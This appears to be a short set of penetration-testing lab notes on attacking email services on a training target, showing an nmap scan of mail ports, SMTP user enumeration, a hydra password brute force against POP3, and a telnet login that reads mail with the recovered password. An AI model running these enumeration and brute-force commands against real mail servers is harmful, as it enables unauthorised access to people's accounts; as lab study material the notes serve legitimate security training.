Attacking Email Services

May 27, 2024

nmap -Pn -sV -sC -oN nmap -p25,143,110,465,587,993,995 10.129.25.15

Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-27 22:35 PST
Nmap scan report for inlanefreight.htb (10.129.25.15)
Host is up (0.44s latency).

PORT    STATE    SERVICE VERSION
25/tcp  open     smtp    hMailServer smtpd
| smtp-commands: WIN-02, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
110/tcp open     pop3    hMailServer pop3d
|_pop3-capabilities: USER UIDL TOP
143/tcp open     imap    hMailServer imapd
|_imap-capabilities: CAPABILITY IDLE CHILDREN OK SORT NAMESPACE completed ACL QUOTA IMAP4 IMAP4rev1 RIGHTS=texkA0001
465/tcp filtered smtps
587/tcp open     smtp    hMailServer smtpd
| smtp-commands: WIN-02, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
993/tcp filtered imaps
995/tcp filtered pop3s
Service Info: Host: WIN-02; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.23 seconds

sudo vim /etc/hosts
cat /etc/hosts    

smtp-user-enum -M RCPT -U users.list -D inlanefreight.htb -t 10.129.25.15

hydra -l [e-mail] -P pws.list 10.129.59.13 pop3

Logging to pop3

login: [e-mail] 
password: poohbear

telnet 10.129.59.13 110

USER [e-mail]
PASS poohbear
LIST
RETR 1